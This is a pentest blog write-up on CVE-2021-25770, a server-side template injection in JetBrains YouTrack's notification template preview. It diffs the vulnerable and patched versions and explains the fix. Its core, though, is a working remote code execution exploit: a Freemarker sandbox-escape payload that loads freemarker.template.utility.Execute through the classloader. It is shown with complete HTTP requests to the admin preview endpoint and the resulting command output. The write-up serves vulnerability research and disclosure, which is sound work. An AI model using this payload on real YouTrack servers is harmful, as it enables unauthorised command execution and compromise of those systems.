Exploiting CVE-2021-25770: A Server-Side Template Injection in YouTrack

Rédigé par Vincent Herbulot - 11/02/2021 - dans Exploit , Pentest - Téléchargement
Exploiting CVE-2021-25770, a Server-Side Template Injection that leads to remote code execution using a known Freemarker sandbox escape.

A few days ago we got this vulnerability in our Twitter feed:

 NEW: CVE-2021-25770

 In JetBrains YouTrack before 2020.5.3123, server-side template injection (SSTI) was possible, which could lead to code execution. Severity: CRITICAL

After searching for a POC without success, we decided that we would write one. Searching for information on the Jetbrains website gave us no information except that the vulnerability was discovered by Vasily Vasilkov [1].

Diffing the source code

A free version is available from www.jetbrains.com so we downloaded the vulnerable version (2020.5.2579) and the patched version (2020.5.3123) and started investigating. It quickly appears that the software is running Freemarker [2] as templating engine.

$ ls youtrack-2020.5.2579/apps/youtrack/web/WEB-INF/lib | grep free
-rw-r--r-- 1 us3r777 us3r777  1350624 25 nov.  17:53 freemarker-2.3.23.jar
$ ls youtrack-2020.5.3123/apps/youtrack/web/WEB-INF/lib | grep free
-rw-r--r-- 1 us3r777 us3r777  1702975  2 déc.  15:07 freemarker-2.3.30.jar

The vulnerable version is running Freemarker 2.3.23 and the patched one is running Freemarker 2.3.30. After extracting all applications libraries, we identified that the notification module was heavily using Freemarker, so we decided to focus on this one first.

$ grep 'Freemarker' -ril | cut -d '/' -f1 | sort | uniq -c
      1 youtrack-application-2020.5.2579.jar-dir
     53 youtrack-notifications-2020.5.2579.jar-dir
      2 youtrack-scripts-2020.5.2579.jar-dir
      1 youtrack-webapp-2020.5.2579.jar-dir

When diffing between the vulnerable and the patched version of the Freemarker notification module we also noticed that there were indeed several updates in this module:

$ diff -bur youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion$ITERABLE_FACTORY$1.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion$ITERABLE_FACTORY$1.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper$Companion.class differ
Binary files youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper.class and youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model/EntityExtendedBeansWrapper.class differ
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy$forClass$1.class
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy.class

Running Youtrack in a docker container

To get familiar with the software and check if we could quickly find an insertion point, we installed the vulnerable version using docker:

docker run -it --name youtrack-instance1 -v data:/opt/youtrack/data -v conf:/opt/youtrack/conf -v logs:/opt/youtrack/logs -v backups:/opt/youtrack/backups -p 8888:8080 jetbrains/youtrack:2020.5.2579

After following the installation procedure, we identified the "Notification Templates" feature in the administrative panel:

Notification templates from the administrative panel

This functionality allows users defining custom templates for notifications:

Notification templates : article digest subject

According to YouTrack's documentation:

Notification Templates provide you with tools to customize email and Jabber notifications to suit your user communication requirements.

Using this functionality it is possible to configure custom templates that are directly rendered in the webpage. This is where template injection happens.

Using freemarker to compute a value

 

Exploiting the Server-Side Template Injection

This is the request triggering the template injection :

POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 108
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
 
{
    "template": {
        "fileName": "article_digest_subject.ftl",
        "content": "${191*7}"
    }
}
 
HTTP/1.1 200 OK
[...]
 
{"issueId":null,"output":"1,337","error":null,"$type":"NotificationPreview"}

Trying to execute commands directly using the traditional freemarker.template.utility.Execute method [3] fails with the following error:

POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1 
Host: youtrackvm:8888 
Content-Type: application/json;charset=utf-8 
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE= 
Content-Length: 171 
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0 
 
 
{ 
    "template": { 
        "fileName": "article_digest_subject.ftl", 
        "content":"<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}" 
    } 
} 
 
HTTP/1.1 200 OK 
{"issueId":null,"output":"[error] [error]","error":null,"$type":"NotificationPreview"} 

By digging in the application logs we can find a clearer message:

FreeMarker template error: 
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

This error is due to the fact that Freemarker Template class resolver [4] is set to ALLOWS_NOTHING_RESOLVER in  jetbrains/youtrack/notifications/controller/FreemarkerConfiguration.class.

Using a sandbox bypass to achieve remote code execution

Fortunately for us, a bypass to get code execution exists in Freemarker versions below 2.3.30. This bypass was presented by Alvaro Muñoz and Oleksandr Mirosh at Blackhat USA 2020 [5].

The bypass relies on finding a public static field that allows to call the newInstance() method. We used the DEFAULT_WRAPPER field of the freemarker.template.ObjectWrapper class as defined in Alvaro and Oleksandr's white paper to get remote code execution:

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

This payload can be sent as a POST request to the notification module:

POST /api/admin/notificationSupplement/preview?$top=-1&fields=output,issueId,error HTTP/1.1
Host: youtrackvm:8888
Content-Type: application/json;charset=utf-8
Authorization: Bearer 1612803692855.73d6ee6b-88af-4530-8424-0aad4405a599.bc65b13d-cf89-432f-8ad0-5da62323d2a0.73d6ee6b-88af-4530-8424-0aad4405a599 4a741f89-0ec7-4fb0-baf4-9408a09c6499 0-0-0-0-0;1.MC0CFQCSpkBaxPJ/ym9G45iYUte4QlWg9AIUVi8r3/WM4JPq5PARRKepm4IJ5xE=
Content-Length: 393
Cookie: YTJSESSIONID=node0p6q2ue0829ghxc19jjsjwgpw97.node0
 
 
{
  "template": {
      "fileName": "article_digest_subject.ftl",
      "content":"<#assign classloader=article.class.protectionDomain.classLoader><#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")><#assign dwf=owc.getField(\"DEFAULT_WRAPPER\").get(null)><#assign ec=classloader.loadClass(\"freemarker.template.utility.Execute\")>${dwf.newInstance(ec,null)(\"id\")}"
  }
}
 
HTTP/1.1 200 OK
[...]
 
{"issueId":null,"output":"uid=13001(jetbrains) gid=13001(jetbrains) groups=13001(jetbrains)\n","error":null,"$type":"NotificationPreview"}

About the patch

Using the previous payload is not possible in Freemarker 2.3.30 which introduces a new sandbox based on MemberAccessPolicy. The default policy improves the blacklist and forbids access to ClassLoader methods and public fields through reflection [6].

Looking at the patched version of Youtrack we noticed that Freemarker is now configured with a StrictMemberAccessPolicy:  

$ diff -bur youtrack-2020.5.2579_libs/youtrack-notifications-2020.5.2579.jar-dir youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir
[...]
Only in youtrack-2020.5.3123_libs/youtrack-notifications-2020.5.3123.jar-dir/jetbrains/youtrack/notifications/model: StrictMemberAccessPolicy.class

Updating YouTrack to 2020.5.3123 prevents the exploitation of this vulnerability.

Bibliography

[1] https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020/ - CVE-2021-25770 announcement

[2] https://freemarker.apache.org/ - Freemarker templating engine

[3] https://portswigger.net/research/server-side-template-injection - Basic SSTI exploitation

[4] https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html - Freemarker TemplateClassResolver

[5] https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf - Scribbling outside the lines of template security BH USA 2020, Alvaro Muñoz and Oleksandr Mirosh

[6] https://freemarker.apache.org/docs/api/freemarker/ext/beans/MemberAccessPolicy.html - MemberAccessPolicy in Freemarker 2.3.30